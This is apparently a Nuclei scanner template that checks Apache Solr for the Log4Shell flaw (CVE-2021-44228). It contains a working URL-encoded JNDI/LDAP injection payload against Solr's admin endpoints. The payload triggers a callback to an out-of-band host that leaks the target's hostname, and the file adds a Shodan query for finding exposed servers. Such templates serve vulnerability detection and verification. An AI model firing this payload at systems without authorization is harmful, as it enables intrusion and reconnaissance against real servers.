76 lines
2.4 KiB
YAML
76 lines
2.4 KiB
YAML
id: apache-solr-log4j-rce
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info:
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name: Apache Solr 7+ - Remote Code Execution (Apache Log4j)
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author: Evan Rubinstein,nvn1729,j4vaovo
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severity: critical
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description: |
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Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. This vulnerability affects Solr 7+.
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reference:
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- https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228
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- https://twitter.com/sirifu4k1/status/1470011568834424837
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- https://github.com/apache/solr/pull/454
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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- https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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max-request: 2
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verified: true
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shodan-query: http.html:"Apache Solr"
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tags: vulhub,cve,solr,oast,log4j,cve2021,rce,apache,jndi,kev
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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http:
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- raw:
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- |
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@timeout: 25s
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GET /solr/admin/{{endpoint}}?action=%24%7Bjndi%3Aldap%3A%2F%2F%24%7B%3A-{{rand1}}%7D%24%7B%3A-{{rand2}}}%7D.%24%7BhostName%7D.uri.{{interactsh-url}}%2F%7D HTTP/1.1
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Host: {{Hostname}}
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payloads:
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endpoint:
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- "collections"
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- "cores"
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attack: clusterbomb
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'org.apache.solr'
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- type: word
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part: interactsh_protocol
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
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part: interactsh_request
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- type: regex
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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part: interactsh_request
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